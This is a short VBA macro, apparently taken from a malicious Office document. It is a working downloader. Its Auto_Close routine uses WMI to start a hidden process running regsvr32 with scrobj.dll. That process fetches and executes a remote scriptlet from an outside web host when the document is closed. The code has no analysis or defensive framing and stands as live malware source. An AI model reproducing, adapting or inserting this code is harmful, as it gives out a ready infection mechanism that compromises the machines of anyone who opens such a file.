Sub Auto_Close()
    PgvR
End Sub
Public Function PgvR() As Variant
    Dim Bs As String
    Bs = "regsvr32 /u /n /s /i:http://deluxebostitch.com/download/index scrobj.dll"

    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create Bs, Null, objConfig, intProcessID
End Function